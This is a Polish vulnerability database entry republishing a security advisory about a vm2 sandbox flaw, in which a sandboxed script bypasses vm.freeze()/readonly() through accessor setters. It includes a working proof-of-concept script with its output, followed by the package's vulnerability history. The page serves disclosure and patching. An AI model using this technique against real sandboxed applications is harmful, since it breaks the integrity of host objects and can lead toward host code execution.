Średnia

vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor

  • Ujawniono: 01.10.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via Object.getOwnPropertyDescriptor() and call it directly; the call lands in BaseHandler.apply which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default VM/NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via __lookupSetter__.

PoC

js
// poc.js
'use strict';
const { VM } = require('vm2');

let _level = 'safe';
const hostConfig = Object.defineProperty({}, 'level', {
  get() { return _level; },
  set(v) { _level = String(v); },
  enumerable: true, configurable: true,
});

const vm = new VM();
vm.freeze(hostConfig, 'cfg');

// Baseline - documented barriers hold:
vm.run(`cfg.level = 'via-set';`);
vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`);
console.log('after [[Set]]/defineProperty:', _level);   // → "safe"

// Bypass - sandbox mutates host via accessor descriptor:
vm.run(`
  const d = Object.getOwnPropertyDescriptor(cfg, 'level');
  d.set.call(cfg, 'PWNED');
`);
console.log('after getOwnPropertyDescriptor→set.call:', _level);   // → "PWNED"

// Variant - same sink via __lookupSetter__:
vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`);
console.log('after __lookupSetter__:', _level);   // → "PWNED-2"
bash
node poc.js

Observed output:

after [[Set]]/defineProperty: safe
after getOwnPropertyDescriptor→set.call: PWNED
after __lookupSetter__: PWNED-2

The first line shows ReadOnlyHandler's documented traps work; the next two show the sandbox mutated the host-side _level despite vm.freeze().

Impact

A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via vm.freeze() / vm.readonly(), defeating the read-only contract. Data properties are not affected (ReadOnlyHandler.set / .defineProperty block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. set scriptPath(v), set handler(fn)), this becomes a stepping-stone to host code execution in that embedder.

Preconditions: embedder calls vm.freeze()/vm.readonly() on a host object that has at least one accessor own-property. Default VM/NodeVM options otherwise. Blast radius: integrity of the specific frozen host object(s); downstream impact is embedder-defined. Persistence: as persistent as the host object (typically process-lifetime).

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm vm2 >= 3.9.6, < 3.11.7 3.11.7

Odnośniki

Ocena CVSS 4/10
Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
Słabość (CWE)
CWE-471, CWE-693
Platforma
npm
Paczka
vm2
Ujawniono
01.10.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-633r-hq9m-c4ff - CC BY 4.0

Historia podatności: vm2

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (78) w archiwum
Wszystkich wpisów
78
Pierwsza → ostatnia
10.2021 10.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 51
  • Wysoka 14
  • Średnia 12
  • Niska 1

Ujawnienia w latach

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Istotność:
  1. Krytyczna · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Krytyczna · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Krytyczna · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Krytyczna · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Krytyczna · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Krytyczna · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor ten wpis
    Średnia · 4.0 CVE-2026-92949 >= 3.9.6, < 3.11.7 3.11.7
  8. Krytyczna · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  9. Krytyczna · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  10. Krytyczna · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  11. Krytyczna · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  12. Krytyczna · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  13. Krytyczna · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  14. Wysoka · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  15. Krytyczna · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  16. Krytyczna · 9.9 CVE-2026-47686 < 3.11.6 3.11.6
  17. Krytyczna · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  18. Krytyczna · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  19. Krytyczna · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  20. Krytyczna · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  21. Krytyczna · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  22. Krytyczna · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
  23. Wysoka · 8.5 CVE-2026-43998 >= 3.10.5, < 3.11.0 3.11.0
  24. Krytyczna · 10.0 CVE-2026-44005 >= 3.9.6, < 3.11.0 3.11.0
  25. Krytyczna · 10.0 CVE-2026-43997 < 3.11.0 3.11.0
  26. Krytyczna · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  27. Krytyczna · 9.8 CVE-2026-26956 < 3.10.5 3.10.5
  28. Krytyczna · 9.8 CVE-2026-26332 < 3.11.0 3.11.0
  29. Krytyczna · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  30. Krytyczna · 9.8 CVE-2026-24120 < 3.10.5 3.10.5
  31. Krytyczna · 9.8 CVE-2026-24118 < 3.11.0 3.11.0
  32. Krytyczna · 9.8 CVE-2026-22709 < 3.10.2 3.10.2
  33. Krytyczna · 9.8 CVE-2023-37466 < 3.10.0 3.10.0
  34. Krytyczna · 9.8 CVE-2023-37903 <= 3.9.19 brak poprawki
  35. Krytyczna · 9.8 CVE-2023-32314 < 3.9.18 3.9.18
  36. Krytyczna · 9.8 CVE-2023-30547 < 3.9.17 3.9.17
  37. Krytyczna · 9.8 CVE-2023-29199 < 3.9.16 3.9.16
Pokaż więcej (6) Widać 60 z 66

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.